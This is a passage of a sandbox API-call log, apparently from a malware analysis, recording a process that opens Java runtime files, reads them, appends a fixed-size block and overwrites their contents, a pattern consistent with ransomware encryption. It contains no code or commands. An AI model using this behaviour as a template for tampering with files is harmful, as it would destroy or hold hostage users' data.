(x86)\\Java\\jre7\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0047.763] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0047.763] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x77e7 [0047.763] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0047.763] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.763] ReleaseMutex (hMutex=0x128) returned 1 [0047.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sunmscapi.jar", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sunmscapi.jar", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sunmscapi.jar", lpUsedDefaultChar=0x0) returned 13 [0047.763] ReadFile (in: hFile=0x1c4, lpBuffer=0x1daa438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1daa438*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0047.776] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x67e7 [0047.776] ReadFile (in: hFile=0x1c4, lpBuffer=0x1daa438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1daa438*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0047.796] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x67e7 [0047.796] WriteFile (in: hFile=0x1c4, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.796] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0047.796] WriteFile (in: hFile=0x1c4, lpBuffer=0x1da9408*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1da9408*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0047.796] CloseHandle (hObject=0x1c4) returned 1 [0047.797] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0047.797] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0047.797] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x4d9c8 [0047.797] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0047.797] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.797] ReleaseMutex (hMutex=0x128) returned 1 [0047.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LucidaSansDemiBold.ttf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0047.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LucidaSansDemiBold.ttf", cchWideChar=22, lpMultiByteStr=0x1e78b7c, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LucidaSansDemiBold.ttf", lpUsedDefaultChar=0x0) returned 22 [0047.797] ReadFile (in: hFile=0x1c4, lpBuffer=0x1de8de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0047.822] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x4c9c8 [0047.822] ReadFile (in: hFile=0x1c4, lpBuffer=0x280ed88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x280ed88*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0047.846] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x4c9c8 [0047.847] WriteFile (in: hFile=0x1c4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.847] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0047.847] WriteFile (in: hFile=0x1c4, lpBuffer=0x27fdcf8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x27fdcf8*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0047.847] CloseHandle (hObject=0x1c4) returned 1 [0047.847] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0047.870] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0047.870] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x99 [0047.870] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0047.870] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.870] ReleaseMutex (hMutex=0x128) returned 1 [0047.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="win32_LinkNoDrop32x32.gif", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0047.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="win32_LinkNoDrop32x32.gif", cchWideChar=25, lpMultiByteStr=0x1e7fb7c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="win32_LinkNoDrop32x32.gif", lpUsedDefaultChar=0x0) returned 25 [0047.870] ReadFile (in: hFile=0x1cc, lpBuffer=0x2515d28, nNumberOfBytesToRead=0x99, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2515d28*, lpNumberOfBytesRead=0x32cf2bc*=0x99, lpOverlapped=0x0) returned 1 [0047.871] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0047.871] WriteFile (in: hFile=0x1cc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x621, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x621, lpOverlapped=0x0) returned 1 [0047.871] CloseHandle (hObject=0x1cc) returned 1 [0047.872] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jsse.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0047.872] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0047.872] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x809cb [0047.872] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0047.872] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.872] ReleaseMutex (hMutex=0x128) returned 1 [0047.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsse.jar", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0047.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsse.jar", cchWideChar=8, lpMultiByteStr=0x1e6316c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsse.jar", lpUsedDefaultChar=0x0) returned 8 [0047.872] ReadFile (in: hFile=0x1cc, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0047.887] ReadFile (in: hFile=0x1cc, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0047.924] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x7f9cb [0047.924] ReadFile (in: hFile=0x1cc, lpBuffer=0x1da9408, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1da9408*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0048.137] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x7f9cb [0048.137] WriteFile (in: hFile=0x1cc, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.138] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0048.138] WriteFile (in: hFile=0x1cc, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0048.138] WriteFile (in: hFile=0x1cc, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.138] CloseHandle (hObject=0x1cc) returned 1 [0048.138] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\plugin.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\plugin.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0048.141] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.141] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1d5e98 [0048.141] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.141] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.141] ReleaseMutex (hMutex=0x128) returned 1 [0048.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="plugin.jar", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0048.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="plugin.jar", cchWideChar=10, lpMultiByteStr=0x1e630cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plugin.jar", lpUsedDefaultChar=0x0) returned 10 [0048.141] ReadFile (in: hFile=0x1cc, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0048.156] ReadFile (in: hFile=0x1cc, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0048.157] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1d4e98 [0048.157] ReadFile (in: hFile=0x1cc, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0048.159] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1d4e98 [0048.160] WriteFile (in: hFile=0x1cc, lpBuffer=0x2808d58*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2808d58*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.335] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0048.335] WriteFile (in: hFile=0x1cc, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0048.335] WriteFile (in: hFile=0x1cc, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.335] CloseHandle (hObject=0x1cc) returned 1 [0048.336] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\javaws.policy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\javaws.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0048.337] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.337] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x62 [0048.337] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.337] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.337] ReleaseMutex (hMutex=0x128) returned 1 [0048.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="javaws.policy", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="javaws.policy", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="javaws.policy", lpUsedDefaultChar=0x0) returned 13 [0048.337] ReadFile (in: hFile=0x1cc, lpBuffer=0x1df5558, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df5558*, lpNumberOfBytesRead=0x32cf2bc*=0x62, lpOverlapped=0x0) returned 1 [0048.338] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0048.338] WriteFile (in: hFile=0x1cc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5ea, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x5ea, lpOverlapped=0x0) returned 1 [0048.338] CloseHandle (hObject=0x1cc) returned 1 [0048.338] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bamako" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\bamako"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0048.340] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.340] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x55 [0048.340] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.340] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.340] ReleaseMutex (hMutex=0x128) returned 1 [0048.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bamako", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0048.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bamako", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bamako", lpUsedDefaultChar=0x0) returned 6 [0048.340] ReadFile (in: hFile=0x1cc, lpBuffer=0x1ea3eb8, nNumberOfBytesToRead=0x55, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3eb8*, lpNumberOfBytesRead=0x32cf2bc*=0x55, lpOverlapped=0x0) returned 1 [0048.341] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0048.341] WriteFile (in: hFile=0x1cc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5dd, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x5dd, lpOverlapped=0x0) returned 1 [0048.341] CloseHandle (hObject=0x1cc) returned 1 [0048.341] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Conakry" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\conakry"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0048.342] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.342] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x55 [0048.342] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.342] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.342] ReleaseMutex (hMutex=0x128) returned 1 [0048.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Conakry", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0048.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Conakry", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Conakry", lpUsedDefaultChar=0x0) returned 7 [0048.343] ReadFile (in: hFile=0x1cc, lpBuffer=0x1ea3eb8, nNumberOfBytesToRead=0x55, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3eb8*, lpNumberOfBytesRead=0x32cf2bc*=0x55, lpOverlapped=0x0) returned 1 [0048.343] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0048.343] WriteFile (in: hFile=0x1cc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5dd, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x5dd, lpOverlapped=0x0) returned 1 [0048.344] CloseHandle (hObject=0x1cc) returned 1 [0048.344] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Juba" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\juba"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0048.345] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.345] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x151 [0048.345] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.345] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.345] ReleaseMutex (hMutex=0x128) returned 1 [0048.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Juba", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0048.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Juba", cchWideChar=4, lpMultiByteStr=0x1e6aa2c, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Juba", lpUsedDefaultChar=0x0) returned 4 [0048.345] ReadFile (in: hFile=0x1cc, lpBuffer=0x253c138, nNumberOfBytesToRead=0x151, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x253c138*, lpNumberOfBytesRead=0x32cf2bc*=0x151, lpOverlapped=0x0) returned 1 [0048.346] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: 